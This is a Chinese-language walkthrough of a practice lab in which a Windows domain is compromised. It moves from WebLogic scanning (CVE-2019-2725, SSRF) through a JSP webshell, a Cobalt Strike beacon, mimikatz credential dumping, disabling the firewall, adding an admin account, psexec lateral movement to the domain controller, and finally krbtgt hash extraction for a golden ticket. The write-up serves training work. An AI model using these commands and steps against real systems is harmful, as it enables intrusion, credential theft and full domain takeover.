环境搭建
统一登录密码 1qaz@WSX
Web密码错误的,在快照管理器里面选择转到1.3即可,默认为空,然后修改密码为统一密码
然后再web主机上开启Weblogic服务
1 | dc 仅主机 10.10.10.10 |
信息收集
nmap扫描端口
用kaliping不通web主机,应该是开启了防火墙禁止了icmp
sudo nmap 192.168.0.80 -sV
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2 3389/tcp open ms-wbt-server Microsoft Terminal Service 7001/tcp open http Oracle WebLogic Server 10.3.6.0 (Servlet 2.5; JSP 2.1; T3 enabled) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC
先从7001的weblogic下手,使用WeblogicScan扫描一下是否存在漏洞
得到后台路径为http://192.168.0.80:7001/console/login/LoginForm.jsp
检测到存在CVE20192725
和 ssrf漏洞
漏洞利用
利用ssrf漏洞进行端口探测
存在位置http://192.168.0.80:7001/uddiexplorer/SearchPublicRegistries.jsp
抓包测试
此处的operator为可控点,输入一个存在的端口127.0.0.1:7001
会返回一个状态码
输入一个不存在的端口时192.168.0.80:1234
会返回but could not connect over HTTP to server
输入127.0.0.1:6379
返回but could not connect over HTTP to server
说明没有开放6379端口,没法继续利用去弹redis
shell
Getshell
直接使用6哥师傅的java反序列化终极测试工具.
1.把shell写到控制台images目录中
C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp
访问http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
2.写到uddiexplorer目录中
C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp
访问http://*.*.*.*:7001/uddiexplorer/shell.jsp
3.写到应用安装目录中
C:\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp
访问http://*.*.*.*:7001/项目名/shell.jsp
上传蚁剑的jsp马。密码为ant
1 | <%! |
使用蚁剑进行连接
然后可以使用As-Exploits
插件
发现该机器上有安装360
上线CS
在CS上创建listener 生成cs.exe后使用蚁剑运行,beacon成功上线
信息收集
1 | 查看当前用户sid shell whoami /user |
shell whoami /user
shell systeminfo
shell net config workstation
shell net user /domain
net computers
使用CS的portscan模块扫描域内主机端口
关闭防火墙netsh advfirewall set allprofiles state off
shell net view
发现报错6118,在网上查了下是因为没有开启Computer Brower
服务,去看了下,web服务器把该服务禁止了,开启后就可以正常使用了(因为刚才是的时候web服务器密码登录不上去,然后切换了快照,手动开启了web服务)
shell net group "domain admins" /domain
shell net group "domain controllers" /domain
使用CS的run_mimikatz
模块
得到凭据信息,密码为1qaz@WSX
创建用户登录3389
查看3389是否开放
添加用户到管理员权限
shell net localgroup administrators Mamor /add
sudo rdesktop 192.168.0.80:3389
使用 Mamor
1qaz@WSX
成功登录
(注:这里的360防护好像没有起作用,没有进行拦截)
使用PSexec横向移动
使用和上一个靶场一样的方法,创建一个smb监听器
在Targets中 选择主机右键jump-> psexec,选择票据
然后得到如图,可以通过这种方法得到web机器的system权限
成功拿到域控DC.
CS派生MSF
在CS中创建一个 Foreign HTTP listener
在msf中
1 | msf > use exploit/multi/handler |
msf添加路由
配置代理,在proxychains4设置127.0.0.1 1080
权限维持
域控信息收集
在域控获取krbtgt账户的NTLM hash值和SID
82dfc71b72a11ef37d663047bc2088fb
SID S-1-5-21-2756371121-2868759905-3853650604
黄金票据利用
黄金票据时伪造票据授予票据(TGT)
利用需要的条件:
1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
使用CS清除client端(域内其他机器)的票据
kerberos_ticket_purge
shell klist
查看票据信息是否已经被清除
使用CS生成黄金票据